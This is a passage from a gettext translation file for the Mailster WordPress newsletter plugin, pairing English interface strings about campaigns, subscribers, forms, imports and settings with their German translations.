all fields correctly!" msgstr "Bitte füllen Sie alle Felder korrekt aus!" #: views/subscribers/detail.php:94 msgid "The user rating is based on different factors like open rate, click rate and bounces." msgstr "Die Benutzerbewertung basiert auf verschiedenen Faktoren wie Öffnungs-, Klick- und Bounce Rate." #: views/settings/wordpress-users.php:141 msgid "Add people who are added via the backend or any third party plugin" msgstr "Füge Benutzer hinzu, die über das Backend oder über ein anderes Plugin hinzugefügt worden sind" #: classes/automation.class.php:809 classes/campaigns.class.php:831 #: views/newsletter/template.php:39 msgid "Clicks" msgstr "Klicks" #: views/forms/detail.php:394 build/forms/form-wrapper/index.js:1 msgid "Headline" msgstr "Überschrift" #: classes/export.class.php:45 classes/mailster.class.php:3256 msgid "Please make sure all your campaigns are imported correctly!" msgstr "Bitte stelle sicher, dass alle Kampagnen korrekt importiert wurden!" #: classes/settings.class.php:1448 msgid "The version number of the import does not match!" msgstr "Die Versionsnummer vom Import stimmt nicht mit der aktuellen überein!" #: includes/capability.php:206 msgid "add subscribers" msgstr "Abonnenten hinzufügen" #: classes/mailster.class.php:2044 msgid "Code in use!" msgstr "Code in Verwendung!" #: classes/templates.class.php:1633 views/manage/method-upload.php:10 msgid "The web browser on your device cannot be used to upload files. You may be able to use the <a href=\"http://wordpress.org/extend/mobile/\">native app for your device</a> instead." msgstr "Der Browser auf deinem Endgerät kann leider keine Dateien hochladen. Nutze für den Bilderupload die <a href=\"http://wordpress.org/extend/mobile/\">WordPress App für dein mobiles Endgerät</a>." #: classes/subscribers.table.class.php:390 msgid "add to list" msgstr "zur Liste hinzufügen" #: classes/campaigns.class.php:1751 msgid "Codeview" msgstr "Codeansicht" #: views/newsletter/delivery.php:498 msgid "High" msgstr "Hoch" #: views/subscribers/detail.php:383 msgid "adjusted click rate" msgstr "angepasste Klickrate" #: views/newsletter/options.php:25 msgid "Colors" msgstr "Farben" #: views/settings/template.php:60 msgid "High DPI" msgstr "High DPI" #: views/setup/basics.php:6 msgid "Please provide some basic information which is used for your newsletter campaigns. Mailster already pre-filled the fields with the default values but you should check them for correctness." msgstr "Gib hier die Basisinformationen an, die für deine Kampagnen verwendet werden. Mailster hat die Felder bereits mit den Standardwerten ausgefüllt aber du solltest sie auf Korrektheit überprüfen." #: classes/frontpage.class.php:773 msgid "There is no content for this newsletter." msgstr "Kein Inhalt für diesen Newsletter gefunden." #: classes/campaigns.class.php:1139 classes/campaigns.class.php:1164 #: classes/campaigns.class.php:1176 views/newsletter/delivery.php:142 #: views/newsletter/delivery.php:145 views/newsletter/delivery.php:169 msgid "after" msgstr "nachdem" #: views/newsletter/editbar.php:347 msgid "HighDPI/Retina ready" msgstr "HighDPI/Retina ready" #: classes/mailster.class.php:1604 classes/manage.class.php:103 msgid "Please select at least the column with the email addresses!" msgstr "Bitte zumindest die Spalte mit den E-Mail-Adressen auswählen!" #: classes/mailster.class.php:1608 classes/manage.class.php:107 msgid "There was a problem during importing contacts. Please check the error logs for more information!" msgstr "Ein Fehler ist beim Importieren aufgetreten. Bitte überprüfe das Fehlerprotokoll für mehr Informationen!" #: classes/manage.class.php:262 msgid "all IP Addresses" msgstr "alle IP Adressen" #: views/newsletter/options.php:46 msgid "Colors Schemas" msgstr "Farbschemas" #: views/setup/basics.php:21 msgid "Homepage" msgstr "Homepage" #: classes/mailster.class.php:1603 classes/manage.class.php:102 msgid "Please select the status for the importing contacts!" msgstr "Bitte den Status für die zu importierenden Kontakte wählen!" #: classes/settings.class.php:340 msgid "There was a problem in your Mailster settings which has been automatically fixed! Either way it's good to check %s if everything is in place." msgstr "Es gab ein Problem mit deinen Mailster Einstellungen das automatisch behoben wurde. Es ist trotzdem ratsam die %s zu überprüfen ob alles korrekt ist." #: views/manage/method-upload.php:72 msgid "Comma-separated values (CSV)" msgstr "CSV Datei" #: classes/settings.class.php:38 msgid "Homepage already created!" msgstr "Homepage wurde bereits erstellt!" #: classes/lists.class.php:146 msgid "Please selected at least two lists!" msgstr "Bitte mindestens zwei Listen auswählen!" #: views/settings/wordpress-users.php:93 msgid "Allow %s to your blog to enable this option" msgstr "Erlaube %s um diese Funktion zu aktivieren" #: classes/subscribers.class.php:886 build/workflows/action/index.js:1 #: build/workflows/comment/index.js:1 build/workflows/conditions/index.js:1 #: build/workflows/delay/index.js:1 build/workflows/email/index.js:1 #: build/workflows/jumper/index.js:1 build/workflows/notification/index.js:1 #: build/workflows/stop/index.js:1 build/workflows/trigger/index.js:1 msgid "Comment" msgstr "Kommetar" #: classes/settings.class.php:44 msgid "Homepage created!" msgstr "Homepage erstellt" #: classes/templates.class.php:495 msgid "There was a problem progressing the file" msgstr "Ein Problem beim verarbeiten der Datei ist aufgetreten" #: classes/settings.class.php:1678 msgid "allow self signed certificates" msgstr "erlaube selbst verifizierte Zertifikate" #: views/setup/basics.php:13 msgid "Company" msgstr "Firma" #: classes/subscribers.class.php:878 msgid "Homepage on %s" msgstr "Homepage am %s" #: classes/forms.class.php:1651 msgid "Popup width" msgstr "Popup Breite" #: classes/forms.class.php:397 msgid "There was an error while adding the form: %s" msgstr "Ein Fehler ist beim Hinzufügen des Formulars aufgetreten: %s" #: views/settings/wordpress-users.php:115 msgid "Allow users to signup on the comment form if they are currently not subscribed to any list" msgstr "Erlaube Benutzer sich beim Kommentarformular anzumelden, falls Sie zur Zeit in noch in keiner Liste sind" #: views/settings/frontend.php:116 msgid "Homepage slugs" msgstr "Homepage Slugs" #: views/settings/general.php:34 msgid "Post List Count" msgstr "Anzahl Listeneinträge" #: classes/forms.class.php:331 classes/forms.class.php:488 msgid "There was an error while deleting forms: %s" msgstr "Ein Fehler ist beim löschen des Formulars aufgetreten: %s" #: views/forms/detail.php:324 msgid "Allow users to update their data with this form" msgstr "Erlaube Benutzer ihre Daten mit diesem Formular zu aktualisieren" #: views/setup/finish.php:24 msgid "Complete your settings" msgstr "Vervollständige deine Einstellungen" #: classes/widget.class.php:365 classes/widget.class.php:519 msgid "Postfix" msgstr "Postfix" #: classes/subscribers.class.php:555 classes/subscribers.class.php:590 msgid "There was an error while deleting subscribers!" msgstr "Ein Fehler ist beim Löschen aufgetreten!" #: views/settings/texts.php:51 msgid "Already registered" msgstr "Bereits registriert" #: classes/conditions.class.php:214 views/newsletter/submit.php:133 msgid "Confirm" msgstr "Bestätigt" #: views/forms/detail.php:223 msgid "Hover Color" msgstr "Farbe (hover)" #: classes/widget.class.php:363 classes/widget.class.php:517 msgid "Prefix" msgstr "Prefix" #: classes/campaigns.class.php:1439 classes/subscribers.class.php:269 msgid "There was an error while deleting subscribers: %s" msgstr "Ein Fehler ist beim Löschen der Abonnenten aufgetreten: %s" #: views/newsletter/delivery.php:211 msgid "always skip %s release" msgid_plural "always skip %s releases" msgstr[0] "immer %s Ausgabe überspringen" msgstr[1] "immer %s Ausgaben überspringen" #: classes/manage.class.php:261 msgid "Confirm + Signup IP Address" msgstr "Bestätigung- + Anmelde-IP Adresse" #: views/forms/detail.php:224 msgid "Hover Text Color" msgstr "Textfarbe (hover)" #: classes/tinymce.class.php:98 views/newsletter/details.php:30 #: views/newsletter/details.php:33 views/newsletter/details.php:90 #: build/workflows/email/index.js:1 msgid "Preheader" msgstr "Preheader" #: classes/mailster.class.php:1613 classes/manage.class.php:112 msgid "There was an error while exporting" msgstr "Ein Fehler ist beim Exportieren aufgetreten" #: classes/campaigns.class.php:4587 msgid "an error occurred while sending to this receiver" msgstr "ein Fehler ist aufgetreten beim Versenden zu diesem Empfänger" #: classes/manage.class.php:254 classes/manage.class.php:1077 #: views/manage/export.php:100 msgid "Confirm Date" msgstr "Bestätigungsdatum" #: classes/mailster.class.php:2062 msgid "There was an error while processing your request!" msgstr "Ein Fehler ist während der Bearbeitung aufgetreten! " #: classes/subscribers.class.php:873 msgid "an extern form on %s" msgstr "ein externes Formular on %s" #: classes/manage.class.php:1080 views/manage/export.php:101 msgid "Confirm IP" msgstr "Bestätigungs IP" #: classes/campaigns.class.php:4495 classes/conditions.class.php:207 #: classes/manage.class.php:1044 views/manage/export.php:77 msgid "ID" msgstr "ID" #: classes/block-forms.class.php:930 classes/campaigns.class.php:1764 #: classes/forms.table.class.php:190 classes/widget.class.php:379 #: views/logging/detail.php:37 views/setup/homepage.php:123 #: views/setup/homepage.php:139 msgid "Preview" msgstr "Vorschau" #: classes/forms.class.php:417 msgid "There was an error while updating the form: %s" msgstr "Ein Fehler ist beim Aktualisieren des Formulars aufgetreten: %s" #: classes/manage.class.php:260 msgid "Confirm IP Address" msgstr "IP Adresse b. Bestätigen" #: classes/manage.class.php:258 classes/manage.class.php:1068 msgid "IP Address" msgstr "IP Adresse" #: classes/campaigns.class.php:808 msgid "Preview Newsletter" msgstr "Vorschau Newsletter" #: classes/conditions.class.php:742 classes/helper.class.php:623 #: views/conditions/conditions.php:37 views/conditions/render.php:6 #: views/settings/delivery.php:61 views/settings/general.php:48 msgid "and" msgstr "und" #: views/settings/frontend.php:119 views/setup/homepage.php:52 msgid "Confirm Slug" msgstr "Bestätigung" #: classes/manage.class.php:319 msgid "IP Options" msgstr "IP Optionen" #: classes/forms.class.php:1670 msgid "Preview and Code" msgstr "Vorschau und Code" #: views/settings/tags.php:10 msgid "These are permanent tags which cannot get deleted. The CAN-SPAM tag is required in many countries." msgstr "Diese permanenten Tags können nicht gelöscht werden. Der CAN-SPAM Tag is verpflichtend in vielen Ländern" #: views/subscribers/detail.php:425 msgid "and %1$s to click a link" msgstr "und %1$s um einen Link zu klicken" #: classes/tinymce.class.php:183 msgid "Confirm Text" msgstr "Bestätigungstext" #: views/settings/advanced.php:13 msgid "If enabled Mailster doesn't use cache anymore. This causes an increase in page load time! This option is not recommended!" msgstr "Wenn aktiv wir Mailster keinen Cache mehr verwenden. Dies wird die Ladezeit erhöhen und ist deshalb nicht empfohlen!" #: classes/campaigns.class.php:771 msgid "This Campaign has been paused" msgstr "Die Kampagne wurde pausiert" #: classes/subscribers.class.php:1947 views/settings/texts.php:12 msgid "Confirmation" msgstr "Bestätigung" #: views/settings/privacy.php:52 msgid "If enabled Mailster will respect users option for not getting tracked. Read more on the %s" msgstr "Wenn diese Option aktiviert ist respektiert Mailster die Einstellung um nicht getrackt zu werden. Lese mehr darüber %s" #: views/newsletter/delivery.php:496 msgid "Priority" msgstr "Priorität" #: classes/campaigns.class.php:765 msgid "This Campaign is currently in the queue" msgstr "Diese Kampagne ist zurzeit in der Warteschlange" #: classes/helper.class.php:613 msgid "any %s" msgstr "irgendein(e) %s" #: classes/notification.class.php:696 msgid "Confirmation Message" msgstr "Bestätigungsnachricht " #: views/settings/authentication.php:77 msgid "If you change one of the settings above new keys are required" msgstr "Falls du einer der oberen Einstellungen änderst müssen neue Schlüssel generiert werden" #: views/settings/authentication.php:113 msgid "Private keys should be kept private. Don't share them or post it somewhere" msgstr "Private Schlüssel sollen auch private bleiben. Teile sie mit keinem" #: classes/campaigns.class.php:768 msgid "This Campaign is currently progressing" msgstr "Die Kampagne wird zurzeit versendet" #: views/settings/wordpress-users.php:127 msgid "approved" msgstr "genehmigt" #: views/forms/detail.php:384 msgid "Confirmation Settings" msgstr "Bestätigungseintellungen" #: views/settings/privacy.php:26 msgid "If you don't find your country down below the geo database is missing or corrupt" msgstr "Falls du dein Land hier nicht findest, fehlt die GEO Datenbank oder ist beschädigt" #: views/forms/detail.php:329 views/subscribers/user_edit.php:6 #: build/form/index.js:229 build/homepage-context/index.js:1 #: build/homepage/index.js:1 msgid "Profile" msgstr "Profil" #: classes/campaigns.class.php:762 msgid "This Campaign was sent on %s" msgstr "Diese Kampagne wurde am %s versendet" #: views/forms/detail.php:359 msgid "Assign new lists automatically to this form" msgstr "Neue Listen automatisch dieser Form zuweisen" #: classes/subscribers.class.php:156 classes/subscribers.class.php:572 msgid "Confirmation has been sent" msgstr "Bestätigung wurde gesendet" #: views/settings/authentication.php:73 msgid "If you have defined the domain and a selector you have to generate a public and a private key. Once created you have to add some TXT namespace records at your mail provider" msgstr "Wenn du eine Domain und den Selector bestimmt hast must du einen privaten und einen öffentlichen Schlüssel generieren. Danach musst du die entsprechenden Namespace Einträge bei deinem Mailprovider anpassen" #: views/settings/texts.php:31 msgid "Profile Button" msgstr "Profil Button" #: views/newsletter/attachment.php:66 msgid "This campaign doesn't have any attachment." msgstr "Diese Kampagne hat keine Anhänge." #: classes/campaigns.class.php:1206 msgid "assigned lists" msgstr "zugeordnete Listen" #: classes/subscribers.class.php:311 msgid "Confirmations sent to %d pending subscribers" msgstr "Bestätigungen wurden an %d ausstehende Abonnenten gesendet" #: views/settings/cron.php:50 msgid "If you need help setting up a cron job please refer to the documentation that your provider offers." msgstr "Falls du Hilfe mit Cronjobs benötigst kontaktiere bitte deinen Provider" #: classes/tinymce.class.php:75 views/settings/texts.php:43 msgid "Profile Link" msgstr "Profil Link" #: includes/autoresponder.php:28 msgid "at a specific time" msgstr "zu einem bestimmten Zeitpunkt" #: views/settings/tags.php:49 msgid "Consumer key" msgstr "Consumer key" #: classes/notification.class.php:278 msgid "If you received this email by mistake, simply delete it. You won't be subscribed if you don't click the confirmation link." msgstr "Wenn Sie diese E-Mail unangekündigt erhalten haben, können Sie diese einfach löschen. Sie werden nicht angemeldet wenn Sie den Bestätigungslink nicht anklicken." #: views/settings/frontend.php:149 views/setup/homepage.php:79 msgid "Profile Slug" msgstr "Profil" #: views/newsletter/delivery.php:535 msgid "This campaign has been started on %1$s, %2$s ago" msgstr "Die Kampagne wurde am %1$s gestartet, vor %2$s" #: views/forms/detail.php:419 msgid "Attach vCard to all confirmation mails" msgstr "Eine vCard an alle Bestätigungsmails anhängen" #: views/settings/tags.php:50 msgid "Consumer secret" msgstr "Consumer secret" #: views/settings/bounce.php:19 msgid "If you would like to enable bouncing you have to setup a separate mail account" msgstr "Wenn du Bouncing verwenden möchtest brauchst du einen separates E-Mailkonto" #: views/settings/texts.php:17 msgid "Profile Update" msgstr "Profil Update" #: views/newsletter/delivery.php:582 msgid "This campaign is based on an %s" msgstr "Diese Kampagne basiert auf eine %s" #: views/newsletter/delivery.php:583 msgid "auto responder campaign" msgstr "Autoresponder Kampagne" #: classes/manage.class.php:295 msgid "Ignore column" msgstr "Spalte auslassen" #: classes/upgrade.class.php:2209 msgid "Profile Updated!" msgstr "Profil aktualisiert!" #: classes/campaigns.class.php:1008 classes/campaigns.class.php:1031 msgid "This campaign is based on subscribers timezone and probably will take up to 24 hours" msgstr "Diese Kampagne basiert auf die Zeitzonen der Abonnenten und kann bis zu 24 Stunden dauern" #: views/newsletter/editbar.php:81 msgid "Image Button" msgstr "Bild Button" #: classes/settings.class.php:263 msgid "Profile updated!" msgstr "Profil aktualisiert!" #: views/forms/detail.php:303 views/forms/detail.php:440 msgid "Back to Design" msgstr "Zurück zum Design" #: views/setup/basics.php:17 msgid "Copyright" msgstr "Copyright" #: views/settings/tags.php:76 msgid "Image Fallback" msgstr "Alternative für Bilder" #: classes/queue.class.php:1027 classes/upgrade.class.php:64 msgid "Progress Update now" msgstr "Update jetzt durchführern" #: views/forms/detail.php:11 msgid "This form does not exist or has been deleted!" msgstr "Dieses Formular gibt es nicht oder wurde gelöscht!" #: views/forms/detail.php:175 views/forms/detail.php:297 msgid "Back to Fields" msgstr "Zurück zu den Feldern" #: classes/ajax.class.php:2242 msgid "Couldn't create List" msgstr "Konnte Liste nicht erstellen!" #: views/newsletter/editbar.php:196 msgid "Image URL" msgstr "Bild URL" #: views/newsletter/submit.php:82 views/newsletter/submit.php:93 #: views/newsletter/submit.php:120 views/newsletter/submit.php:125 #: views/newsletter/submit.php:131 msgid "Publish" msgstr "Veröffentlichen" #: classes/forms.table.class.php:120 msgid "This form is used for user profile updates" msgstr "Dieses Formular wird für Profile verwendet" #: classes/ajax.class.php:1184 msgid "back to world view" msgstr "zurück zur Weltkarte" #: classes/campaigns.class.php:5773 msgid "Image files" msgstr "Bilddateien" #: classes/template.class.php:650 msgctxt "common module name" msgid "Image on the Left" msgstr "Bild links" #: classes/campaigns.class.php:399 classes/campaigns.class.php:401 msgid "Queued" msgstr "Warteschlange" #: classes/notification.class.php:315 msgid "This is a test mail sent from %s" msgstr "Das ist eine Test E-Mail, gesendet %s" #: views/newsletter/optionbar.php:111 msgid "based on %1$s from %2$s" msgstr "basierend auf %1$s von %2$s " #: classes/ajax.class.php:2677 msgid "Couldn't load language file. Please try again later." msgstr "Konnte die Sprachdatei nicht laden. Bitte später erneut probieren." #: classes/template.class.php:651 msgctxt "common module name" msgid "Image on the Right" msgstr "Bild rechts" #: classes/dashboard.class.php:129 msgid "Quick Links" msgstr "Links" #: classes/forms.class.php:137 msgid "This is an error message" msgstr "Das ist eine Fehlermeldung" #: classes/campaigns.class.php:1149 msgid "based on the users %1$s value" msgstr "basierend auf den %1$s des Abonnenten" #: classes/ajax.class.php:856 classes/ajax.class.php:889 msgid "Couldn't send message. Check your settings!" msgstr "Konnte Nachricht nicht senden. Überprüfe deine Einstellungen!" #: views/dashboard/mb-quicklinks.php:41 views/dashboard/mb-subscribers.php:26 #: views/manage.php:22 views/settings/manage-settings.php:13 #: views/subscribers/overview.php:19 msgid "Import" msgstr "Import" #: classes/template.class.php:640 msgctxt "common module name" msgid "Quotation" msgstr "Zitat" #: classes/templates.class.php:363 msgid "This is not a valid Mailster template ZIP" msgstr "Das ist kein gültiges Mailster Template ZIP" #: classes/campaigns.class.php:1139 views/newsletter/delivery.php:143 #: views/newsletter/delivery.php:146 msgid "before" msgstr "bevor" #: classes/forms.class.php:1662 classes/tinymce.class.php:194 #: classes/widget.class.php:545 msgid "Count above Button" msgstr "Zähler über Button" #: classes/manage.class.php:428 msgid "Import %s contact" msgid_plural "Import %s contacts" msgstr[0] "%s Kontakt importieren" msgstr[1] "%s Kontakte importieren" #: classes/template.class.php:641 msgctxt "common module name" msgid "Quotation left" msgstr "Zitat links" #: views/newsletter/editbar.php:28 msgid "begins with" msgstr "beginnt mit" #: classes/ajax.class.php:1174 classes/manage.class.php:273 msgid "Country" msgstr "Land" #: views/settings/manage-settings.php:19 msgid "Import Data" msgstr "Daten importieren" #: classes/template.class.php:642 msgctxt "common module name" msgid "Quotation right" msgstr "Zitat rechts" #: classes/subscribers.class.php:1939 msgid "Bounce" msgstr "Bounce" #: views/setup/sending.php:24 msgid "This line is required in most countries. Your subscribers need to know why and where they have subscribed." msgstr "Diese Zeile ist in den meisten Ländern gesetzlich vorgeschrieben. Deine Abonnenten müssen wissen weshalb und wo sie sich angemeldet haben." #: views/lists/detail.php:126 msgid "bounce rate" msgstr "Absprungrate" #: views/subscribers/user_edit.php:20 msgid "Create" msgstr "Erstellen" #: classes/manage.class.php:395 msgid "Import as" msgstr "Importieren als" #: classes/settings.class.php:407 views/settings/subscribers.php:80 msgid "Radio Buttons" msgstr "Radio Buttons" #: views/lists/detail.php:9 msgid "This list does not exist or has been deleted!" msgstr "Diese Liste existiert nicht oder wurde gelöscht" #: classes/campaigns.class.php:4554 msgid "bounces" msgstr "unzustellbar" #: classes/campaigns.class.php:331 msgid "Create A New Campaign" msgstr "Neue Kampagne erstellen" #: classes/mailster.class.php:1615 classes/manage.class.php:115 msgid "Import complete!" msgstr "Import abgeschlossen!" #: classes/conditions.class.php:183 classes/manage.class.php:1089 #: views/manage/export.php:102 msgid "Rating" msgstr "Bewertung" #: includes/capability.php:257 msgid "bulk delete subscribers" msgstr "Abonnenten löschen" #: views/dashboard/mb-campaigns.php:52 views/dashboard/mb-quicklinks.php:25 msgid "Create Autoresponder" msgstr "Erstelle einen Autoreponder" #: views/dashboard/mb-subscribers.php:38 msgid "Import your existing Subscribers" msgstr "Importiere deine vorhanden Abonnenten" #: classes/campaigns.class.php:1765 views/settings/tags.php:10 msgid "Read more" msgstr "Erfahre mehr" #: views/newsletter/editbar.php:92 msgid "button label" msgstr "Buttonbezeichung" #: classes/subscribers.table.class.php:128 views/dashboard/mb-campaigns.php:53 #: views/dashboard/mb-quicklinks.php:24 views/templates.php:80 #: views/templates/template.php:86 msgid "Create Campaign" msgstr "Erstelle ein Kampagne" #: classes/queue.class.php:1043 msgid "Read more about Cron Locks %s." msgstr "Lies mehr über Cron Locks %s" #: classes/mailster.class.php:2058 msgid "This purchase code is already assigned to another user!" msgstr "Der Lizenzcode ist bereits einem anderen Benutzer zugewiesen!" #: views/dashboard/mb-lists.php:42 msgid "Create List" msgstr "Erstelle eine Liste" #: views/settings/manage-settings.php:15 msgid "Import your settings by pasting the exported data. Make sure you check the data after import." msgstr "Importiere deine Einstellungen indem du die exportierten Daten hier einfügst. Stelle danach sicher, dass die Daten korrekt importiert wurden!" #: classes/forms.class.php:1584 msgid "Read more about shortcodes at %s" msgstr "Erfahre mehr über Shortcodes hier %s" #: views/subscribers/detail.php:54 msgid "This subscriber has caused an error: %s" msgstr "Diese Abonnent verursachte eine Fehler: %s" #: views/subscribers/user_edit.php:23 msgid "Create Mailster Subscriber" msgstr "Erstelle einem Mailster Abonnenten" #: classes/mailster.class.php:1622 classes/manage.class.php:129 msgid "Importing Contacts...%s" msgstr "Importiere Kontakte...%s" #: views/subscribers/detail.php:11 msgid "This user does not exist or has been deleted!" msgstr "Dieser Benutzer existiert nicht oder wurde gelöscht!" #: views/subscribers/detail.php:489 msgid "campaign deleted" msgstr "Kampagne gelöscht" #: views/settings/privacy.php:46 msgid "In some countries it's required to save the IP address and the sign up time for legal reasons. Please add a note in your privacy policy if you save users data" msgstr "In manchen Ländern ist es aus rechtlichen Gründen erforderlich die IP Adresse und den Zeitpunkt der Anmeldung zu speichern. Bitte weise auf die Speicherung in deinen Datenschutzbestimmungen hin" #: classes/manage.class.php:871 msgid "Reason" msgstr "Grund" #: views/setup/start.php:16 msgid "This wizard helps you to setup Mailster. All options available can be found later in the settings. You can always skip each step and adjust your settings later if you're not sure." msgstr "Dieser Assistent hilft die Mailster zu konfigurieren. Alle Optionen können später unter Einstellungen geändert werden. Du kannst jeden Schritt überspringen und später machen, falls du dir irgendwo nicht sicher bist." #: classes/lists.class.php:153 msgid "campaigns" msgstr "Kampagnen" #: classes/campaigns.class.php:1835 msgid "Create Screenshot for Feature Image" msgstr "Erstelle Screenshot als Beitragsbild" #: views/forms/detail.php:182 msgid "Include your Theme's style.css" msgstr "Die style.css Datei deines Themes verwenden" #: classes/campaigns.class.php:461 classes/logs.class.php:127 msgid "Receivers" msgstr "Empfänger" #: classes/manage.class.php:313 msgid "Time Options" msgstr "Zeitoptionen" #: views/settings/general.php:120 msgid "can be changed in each campaign" msgstr "kann in jeder Kampagne angepasst werden" #: views/dashboard/mb-subscribers.php:39 msgid "Create a Form to engage new Subscribers" msgstr "Erstelle ein neues Formular um neue Abonnenten zu bekommen" #: views/forms/detail.php:203 msgid "Info Messages" msgstr "Info Box" #: classes/mailster.class.php:1567 classes/mailster.class.php:1595 msgid "Receiving Content" msgstr "Erhalte Daten" #: views/settings/delivery.php:94 msgid "Time between mails" msgstr "Zeit zwischen E-Mails" #: classes/lists.class.php:1240 msgid "Create a List now" msgstr "Eine neue Liste erstellen" #: views/forms/detail.php:235 msgid "Input" msgstr "Eingabefeld" #: classes/automation.class.php:805 classes/block-forms.class.php:241 #: classes/widget.class.php:31 classes/widget.class.php:250 #: classes/widget.class.php:514 msgid "Title" msgstr "Titel" #: views/settings/general.php:103 msgid "change Charset and encoding of your mails if you have problems with some characters" msgstr "ändere das Charset und die Kodierung falls du Probleme bei manchen Zeichen hast" #: views/dashboard/mb-campaigns.php:44 msgid "Create a new Campaign" msgstr "Neue Kampagne erstellen" #: views/forms/detail.php:238 msgid "Input Background" msgstr "Eingabefeldhintergrund" #: classes/conditions.class.php:238 classes/subscribers.class.php:1949 msgid "Referer" msgstr "Verweis" #: classes/forms.table.class.php:127 msgid "change design" msgstr "ändere Design" #: views/dashboard/mb-lists.php:36 msgid "Create a new List" msgstr "Erstelle eine neue Liste" #: views/forms/detail.php:213 build/forms/form-wrapper/index.js:1 msgid "Input Background Color" msgstr "Texthintergrundfarbe" #: views/settings/tags.php:44 msgid "To enable the tweet feature you have to create a new %s and insert your credentials" msgstr "Um die Tweetfunktion zu aktivieren benötigst du eine neue %s und musst die Daten hier eingeben:" #: views/settings/texts.php:106 msgid "change language" msgstr "Sprache wechseln" #: views/forms/detail.php:214 msgid "Input Focus Color" msgstr "Textfeldfarbe (focus)" #: classes/mailster.class.php:2038 msgid "To get automatic updates for Mailster you need provide a valid purchase code." msgstr "Für automatische Updates von Mailster musst du einen gültigen Lizenzcode angeben." #: views/settings/texts.php:96 msgid "change language of texts if available to" msgstr "ändere die Sprache der Texte falls verfügbar" #: views/newsletter/template.php:60 msgid "Create the plain text version based on the HTML version of the campaign" msgstr "Erstelle die Textversion anhand der HTML Version der Kampagne" #: views/forms/detail.php:212 msgid "Input Text Color" msgstr "Textfeldfarbe" #: classes/mailster.class.php:2031 msgid "To get automatic updates for Mailster you need to register on the %s." msgstr "Um automatische Updates für Mailster zu erhalten musst du dich auf dem %s registrieren." #: classes/forms.table.class.php:128 msgid "change settings" msgstr "Einstellungen ändern"